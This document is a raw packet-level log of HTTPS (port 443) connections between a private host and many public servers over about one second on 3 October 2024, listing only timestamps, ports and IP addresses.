Oct 3, 2024 10:41:43.803870916 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.803921938 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.803930998 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.803961039 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.818613052 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.818634033 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.818701029 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.818713903 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.818752050 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.820723057 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.820775032 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.829221964 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.829262018 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.829361916 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.829369068 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.831407070 CEST	443	49979	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:43.831540108 CEST	49979	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:43.840337038 CEST	49980	443	192.168.2.4	142.250.185.166
Oct 3, 2024 10:41:43.840348005 CEST	49978	443	192.168.2.4	18.173.205.104
Oct 3, 2024 10:41:43.841408968 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.841447115 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.841506958 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.841511965 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.841561079 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.848134041 CEST	443	49988	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:43.848526001 CEST	49988	443	192.168.2.4	35.244.142.80
Oct 3, 2024 10:41:43.848546982 CEST	443	49988	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:43.849735975 CEST	443	49988	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:43.849814892 CEST	49988	443	192.168.2.4	35.244.142.80
Oct 3, 2024 10:41:43.850953102 CEST	49988	443	192.168.2.4	35.244.142.80
Oct 3, 2024 10:41:43.851006031 CEST	443	49988	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:43.851258039 CEST	49988	443	192.168.2.4	35.244.142.80
Oct 3, 2024 10:41:43.851264000 CEST	443	49988	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:43.852816105 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.852835894 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.852917910 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.852929115 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.863662004 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.863682032 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.863719940 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.863744974 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.863768101 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.865372896 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.865417004 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.865422964 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.865463018 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.873991013 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.874023914 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.874049902 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.874053955 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.874089956 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.874106884 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.878890991 CEST	443	49976	142.250.184.194	192.168.2.4
Oct 3, 2024 10:41:43.879827023 CEST	443	49976	142.250.184.194	192.168.2.4
Oct 3, 2024 10:41:43.879914999 CEST	49976	443	192.168.2.4	142.250.184.194
Oct 3, 2024 10:41:43.880446911 CEST	49976	443	192.168.2.4	142.250.184.194
Oct 3, 2024 10:41:43.880469084 CEST	443	49976	142.250.184.194	192.168.2.4
Oct 3, 2024 10:41:43.884697914 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.884721994 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.884771109 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.884776115 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.884802103 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.884824991 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.891248941 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.891315937 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.891319990 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.891341925 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.891395092 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.892376900 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:43.892390966 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:43.893598080 CEST	443	49981	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:43.893675089 CEST	443	49981	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:43.893804073 CEST	49981	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:43.896090031 CEST	49981	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:43.896110058 CEST	443	49981	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:43.897933960 CEST	443	49983	172.64.151.101	192.168.2.4
Oct 3, 2024 10:41:43.898138046 CEST	443	49983	172.64.151.101	192.168.2.4
Oct 3, 2024 10:41:43.898194075 CEST	49983	443	192.168.2.4	172.64.151.101
Oct 3, 2024 10:41:43.900432110 CEST	49983	443	192.168.2.4	172.64.151.101
Oct 3, 2024 10:41:43.900444984 CEST	443	49983	172.64.151.101	192.168.2.4
Oct 3, 2024 10:41:43.918064117 CEST	443	49984	63.140.62.27	192.168.2.4
Oct 3, 2024 10:41:43.922003031 CEST	443	49979	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:43.922698975 CEST	443	49979	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:43.922760963 CEST	49979	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:43.932807922 CEST	443	49977	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:43.932879925 CEST	443	49977	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:43.933191061 CEST	49977	443	192.168.2.4	18.66.102.98
Oct 3, 2024 10:41:43.935317993 CEST	49988	443	192.168.2.4	35.244.142.80
Oct 3, 2024 10:41:43.939026117 CEST	443	49980	142.250.185.166	192.168.2.4
Oct 3, 2024 10:41:43.939105034 CEST	49980	443	192.168.2.4	142.250.185.166
Oct 3, 2024 10:41:43.939368010 CEST	443	49980	142.250.185.166	192.168.2.4
Oct 3, 2024 10:41:43.939440012 CEST	443	49980	142.250.185.166	192.168.2.4
Oct 3, 2024 10:41:43.939611912 CEST	49980	443	192.168.2.4	142.250.185.166
Oct 3, 2024 10:41:43.939676046 CEST	49984	443	192.168.2.4	63.140.62.27
Oct 3, 2024 10:41:43.939701080 CEST	443	49984	63.140.62.27	192.168.2.4
Oct 3, 2024 10:41:43.939903975 CEST	49977	443	192.168.2.4	18.66.102.98
Oct 3, 2024 10:41:43.939932108 CEST	443	49977	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:43.940242052 CEST	443	49984	63.140.62.27	192.168.2.4
Oct 3, 2024 10:41:43.944751978 CEST	49984	443	192.168.2.4	63.140.62.27
Oct 3, 2024 10:41:43.944861889 CEST	443	49984	63.140.62.27	192.168.2.4
Oct 3, 2024 10:41:43.945142984 CEST	49984	443	192.168.2.4	63.140.62.27
Oct 3, 2024 10:41:43.945169926 CEST	443	49984	63.140.62.27	192.168.2.4
Oct 3, 2024 10:41:43.947686911 CEST	443	49988	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:43.947736025 CEST	443	49988	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:43.947763920 CEST	443	49988	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:43.947805882 CEST	49988	443	192.168.2.4	35.244.142.80
Oct 3, 2024 10:41:43.947824955 CEST	443	49988	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:43.947868109 CEST	49988	443	192.168.2.4	35.244.142.80
Oct 3, 2024 10:41:43.947885036 CEST	443	49988	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:43.947979927 CEST	443	49988	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:43.948002100 CEST	443	49988	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:43.948049068 CEST	49988	443	192.168.2.4	35.244.142.80
Oct 3, 2024 10:41:43.948056936 CEST	443	49988	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:43.948095083 CEST	49988	443	192.168.2.4	35.244.142.80
Oct 3, 2024 10:41:43.948442936 CEST	443	49988	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:43.948607922 CEST	443	49988	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:43.948632002 CEST	443	49988	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:43.948651075 CEST	49988	443	192.168.2.4	35.244.142.80
Oct 3, 2024 10:41:43.948661089 CEST	443	49988	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:43.948719978 CEST	49988	443	192.168.2.4	35.244.142.80
Oct 3, 2024 10:41:43.949253082 CEST	443	49988	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:43.955909014 CEST	49980	443	192.168.2.4	142.250.185.166
Oct 3, 2024 10:41:43.955936909 CEST	443	49980	142.250.185.166	192.168.2.4
Oct 3, 2024 10:41:43.958414078 CEST	49979	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:43.958420992 CEST	443	49979	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:44.034773111 CEST	443	49988	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:44.034813881 CEST	443	49988	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:44.034888983 CEST	49988	443	192.168.2.4	35.244.142.80
Oct 3, 2024 10:41:44.034910917 CEST	443	49988	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:44.034953117 CEST	49988	443	192.168.2.4	35.244.142.80
Oct 3, 2024 10:41:44.035480022 CEST	443	49988	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:44.035609961 CEST	443	49988	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:44.036164045 CEST	49988	443	192.168.2.4	35.244.142.80
Oct 3, 2024 10:41:44.071202993 CEST	443	49990	35.171.198.4	192.168.2.4
Oct 3, 2024 10:41:44.096462965 CEST	443	49987	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:44.113647938 CEST	443	49986	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:44.130584955 CEST	49987	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:44.130604029 CEST	443	49987	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:44.130930901 CEST	49990	443	192.168.2.4	35.171.198.4
Oct 3, 2024 10:41:44.130943060 CEST	443	49990	35.171.198.4	192.168.2.4
Oct 3, 2024 10:41:44.131059885 CEST	49986	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:44.131067991 CEST	443	49986	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:44.131592035 CEST	443	49986	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:44.131831884 CEST	443	49987	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:44.131894112 CEST	49987	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:44.132020950 CEST	49986	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:44.132083893 CEST	443	49986	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:44.132219076 CEST	443	49990	35.171.198.4	192.168.2.4
Oct 3, 2024 10:41:44.132234097 CEST	443	49990	35.171.198.4	192.168.2.4
Oct 3, 2024 10:41:44.132288933 CEST	49990	443	192.168.2.4	35.171.198.4
Oct 3, 2024 10:41:44.133749962 CEST	49990	443	192.168.2.4	35.171.198.4
Oct 3, 2024 10:41:44.133829117 CEST	443	49990	35.171.198.4	192.168.2.4
Oct 3, 2024 10:41:44.134103060 CEST	49986	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:44.134357929 CEST	49990	443	192.168.2.4	35.171.198.4
Oct 3, 2024 10:41:44.134368896 CEST	443	49990	35.171.198.4	192.168.2.4
Oct 3, 2024 10:41:44.136499882 CEST	443	49989	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:44.138397932 CEST	49987	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:44.138475895 CEST	443	49987	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:44.138756037 CEST	49989	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:44.138765097 CEST	443	49989	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:44.138966084 CEST	49987	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:44.138973951 CEST	443	49987	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:44.139334917 CEST	443	49989	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:44.140773058 CEST	49989	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:44.140881062 CEST	443	49989	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:44.141144037 CEST	49989	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:44.167206049 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:44.175405025 CEST	443	49986	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:44.180481911 CEST	443	49991	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:44.183409929 CEST	443	49989	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:44.232614994 CEST	49991	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:44.236584902 CEST	443	49990	35.171.198.4	192.168.2.4
Oct 3, 2024 10:41:44.242233992 CEST	49990	443	192.168.2.4	35.171.198.4
Oct 3, 2024 10:41:44.248532057 CEST	49987	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:44.250108004 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:44.250457048 CEST	443	49984	63.140.62.27	192.168.2.4
Oct 3, 2024 10:41:44.250483990 CEST	443	49984	63.140.62.27	192.168.2.4
Oct 3, 2024 10:41:44.250555992 CEST	443	49984	63.140.62.27	192.168.2.4
Oct 3, 2024 10:41:44.250581980 CEST	49984	443	192.168.2.4	63.140.62.27
Oct 3, 2024 10:41:44.250627041 CEST	49984	443	192.168.2.4	63.140.62.27
Oct 3, 2024 10:41:44.341157913 CEST	443	49978	18.173.205.104	192.168.2.4
Oct 3, 2024 10:41:44.341304064 CEST	443	49978	18.173.205.104	192.168.2.4
Oct 3, 2024 10:41:44.343000889 CEST	49978	443	192.168.2.4	18.173.205.104
Oct 3, 2024 10:41:44.383105993 CEST	443	49987	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:44.383138895 CEST	443	49987	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:44.383147955 CEST	443	49987	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:44.383163929 CEST	443	49987	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:44.383172989 CEST	443	49987	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:44.383181095 CEST	443	49987	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:44.383209944 CEST	49987	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:44.383229971 CEST	443	49987	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:44.383244038 CEST	49987	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:44.383275032 CEST	49987	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:44.390453100 CEST	443	49986	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:44.390510082 CEST	443	49986	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:44.390558958 CEST	49986	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:44.390569925 CEST	443	49986	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:44.390592098 CEST	443	49986	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:44.390634060 CEST	49986	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:44.419260025 CEST	443	49989	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:44.419291019 CEST	443	49989	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:44.419368029 CEST	49989	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:44.419380903 CEST	443	49989	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:44.419425964 CEST	443	49989	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:44.419492006 CEST	49989	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:44.454670906 CEST	49991	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:44.454698086 CEST	443	49991	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:44.454724073 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:44.454747915 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:44.455957890 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:44.455987930 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:44.456048012 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:44.456074953 CEST	443	49991	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:44.456090927 CEST	443	49991	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:44.456137896 CEST	49991	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:44.462310076 CEST	49988	443	192.168.2.4	35.244.142.80
Oct 3, 2024 10:41:44.462344885 CEST	443	49988	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:44.465097904 CEST	49991	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:44.465193033 CEST	443	49991	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:44.465409040 CEST	443	49987	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:44.465419054 CEST	443	49987	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:44.465456009 CEST	443	49987	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:44.465467930 CEST	443	49987	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:44.465485096 CEST	49987	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:44.465538025 CEST	49987	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:44.465543032 CEST	443	49987	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:44.465579033 CEST	49987	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:44.466957092 CEST	49984	443	192.168.2.4	63.140.62.27
Oct 3, 2024 10:41:44.466973066 CEST	443	49984	63.140.62.27	192.168.2.4
Oct 3, 2024 10:41:44.467564106 CEST	49991	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:44.467571020 CEST	443	49991	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:44.470201015 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:44.470293045 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:44.471419096 CEST	443	49987	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:44.471427917 CEST	443	49987	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:44.471472025 CEST	443	49987	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:44.471493006 CEST	49987	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:44.471508980 CEST	443	49987	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:44.471549988 CEST	49987	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:44.471573114 CEST	443	49987	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:44.471575022 CEST	49987	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:44.471594095 CEST	443	49987	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:44.471632004 CEST	49987	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:44.471649885 CEST	443	49987	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:44.471690893 CEST	49987	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:44.475368977 CEST	443	49993	216.58.206.66	192.168.2.4
Oct 3, 2024 10:41:44.476180077 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:44.476191998 CEST	443	49992	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:44.476392031 CEST	49993	443	192.168.2.4	216.58.206.66
Oct 3, 2024 10:41:44.476397991 CEST	443	49993	216.58.206.66	192.168.2.4
Oct 3, 2024 10:41:44.477524042 CEST	443	49993	216.58.206.66	192.168.2.4
Oct 3, 2024 10:41:44.477653980 CEST	49993	443	192.168.2.4	216.58.206.66
Oct 3, 2024 10:41:44.478672981 CEST	49993	443	192.168.2.4	216.58.206.66
Oct 3, 2024 10:41:44.478835106 CEST	443	49993	216.58.206.66	192.168.2.4
Oct 3, 2024 10:41:44.479419947 CEST	49993	443	192.168.2.4	216.58.206.66
Oct 3, 2024 10:41:44.479432106 CEST	443	49993	216.58.206.66	192.168.2.4
Oct 3, 2024 10:41:44.483892918 CEST	49996	443	192.168.2.4	35.186.224.24
Oct 3, 2024 10:41:44.483941078 CEST	443	49996	35.186.224.24	192.168.2.4
Oct 3, 2024 10:41:44.484215975 CEST	49996	443	192.168.2.4	35.186.224.24
Oct 3, 2024 10:41:44.484431028 CEST	49996	443	192.168.2.4	35.186.224.24
Oct 3, 2024 10:41:44.484455109 CEST	443	49996	35.186.224.24	192.168.2.4
Oct 3, 2024 10:41:44.489722967 CEST	49978	443	192.168.2.4	18.173.205.104
Oct 3, 2024 10:41:44.489743948 CEST	443	49978	18.173.205.104	192.168.2.4
Oct 3, 2024 10:41:44.491055965 CEST	49990	443	192.168.2.4	35.171.198.4
Oct 3, 2024 10:41:44.491067886 CEST	443	49990	35.171.198.4	192.168.2.4
Oct 3, 2024 10:41:44.491954088 CEST	49986	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:44.491967916 CEST	443	49986	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:44.492333889 CEST	49989	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:44.492356062 CEST	443	49989	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:44.497698069 CEST	49998	443	192.168.2.4	35.244.174.68
Oct 3, 2024 10:41:44.497725964 CEST	443	49998	35.244.174.68	192.168.2.4
Oct 3, 2024 10:41:44.498039007 CEST	49998	443	192.168.2.4	35.244.174.68
Oct 3, 2024 10:41:44.498119116 CEST	49987	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:44.498127937 CEST	443	49987	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:44.499109030 CEST	49998	443	192.168.2.4	35.244.174.68
Oct 3, 2024 10:41:44.499119997 CEST	443	49998	35.244.174.68	192.168.2.4
Oct 3, 2024 10:41:44.629039049 CEST	49991	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:44.644366026 CEST	50001	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:44.644404888 CEST	443	50001	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:44.644478083 CEST	50001	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:44.645039082 CEST	49992	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:44.645062923 CEST	49993	443	192.168.2.4	216.58.206.66
Oct 3, 2024 10:41:44.645344019 CEST	50001	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:44.645354033 CEST	443	50001	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:44.649425030 CEST	50003	443	192.168.2.4	142.250.186.130
Oct 3, 2024 10:41:44.649446964 CEST	443	50003	142.250.186.130	192.168.2.4
Oct 3, 2024 10:41:44.649615049 CEST	50003	443	192.168.2.4	142.250.186.130
Oct 3, 2024 10:41:44.650753021 CEST	50003	443	192.168.2.4	142.250.186.130
Oct 3, 2024 10:41:44.650767088 CEST	443	50003	142.250.186.130	192.168.2.4
Oct 3, 2024 10:41:44.651667118 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:44.651699066 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:44.651777029 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:44.652034044 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:44.652045965 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:44.655885935 CEST	50005	443	192.168.2.4	104.18.36.155
Oct 3, 2024 10:41:44.655915976 CEST	443	50005	104.18.36.155	192.168.2.4
Oct 3, 2024 10:41:44.655972004 CEST	50005	443	192.168.2.4	104.18.36.155
Oct 3, 2024 10:41:44.656809092 CEST	50005	443	192.168.2.4	104.18.36.155
Oct 3, 2024 10:41:44.656821012 CEST	443	50005	104.18.36.155	192.168.2.4
Oct 3, 2024 10:41:44.660850048 CEST	50007	443	192.168.2.4	63.140.62.222
Oct 3, 2024 10:41:44.660859108 CEST	443	50007	63.140.62.222	192.168.2.4
Oct 3, 2024 10:41:44.660964012 CEST	50007	443	192.168.2.4	63.140.62.222
Oct 3, 2024 10:41:44.662661076 CEST	50007	443	192.168.2.4	63.140.62.222
Oct 3, 2024 10:41:44.662671089 CEST	443	50007	63.140.62.222	192.168.2.4
Oct 3, 2024 10:41:44.666517973 CEST	50008	443	192.168.2.4	142.250.185.134
Oct 3, 2024 10:41:44.666538954 CEST	443	50008	142.250.185.134	192.168.2.4
Oct 3, 2024 10:41:44.666599035 CEST	50008	443	192.168.2.4	142.250.185.134
Oct 3, 2024 10:41:44.666896105 CEST	443	49991	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:44.666919947 CEST	443	49991	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:44.667100906 CEST	49991	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:44.667109013 CEST	443	49991	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:44.667141914 CEST	443	49991	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:44.667187929 CEST	49991	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:44.667725086 CEST	50009	443	192.168.2.4	35.244.142.80
Oct 3, 2024 10:41:44.667736053 CEST	443	50009	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:44.668081045 CEST	50009	443	192.168.2.4	35.244.142.80
Oct 3, 2024 10:41:44.668308973 CEST	50008	443	192.168.2.4	142.250.185.134
Oct 3, 2024 10:41:44.668319941 CEST	443	50008	142.250.185.134	192.168.2.4
Oct 3, 2024 10:41:44.669373035 CEST	50009	443	192.168.2.4	35.244.142.80
Oct 3, 2024 10:41:44.669380903 CEST	443	50009	35.244.142.80	192.168.2.4
Oct 3, 2024 10:41:44.670526028 CEST	49991	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:44.670536995 CEST	443	49991	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:44.683944941 CEST	50010	443	192.168.2.4	18.173.205.127
Oct 3, 2024 10:41:44.683994055 CEST	443	50010	18.173.205.127	192.168.2.4
Oct 3, 2024 10:41:44.684089899 CEST	50010	443	192.168.2.4	18.173.205.127
Oct 3, 2024 10:41:44.685314894 CEST	50010	443	192.168.2.4	18.173.205.127
Oct 3, 2024 10:41:44.685343027 CEST	443	50010	18.173.205.127	192.168.2.4
Oct 3, 2024 10:41:44.698817968 CEST	50011	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:44.698854923 CEST	443	50011	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:44.699035883 CEST	50011	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:44.699453115 CEST	50011	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:44.699470043 CEST	443	50011	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:44.777090073 CEST	443	49993	216.58.206.66	192.168.2.4
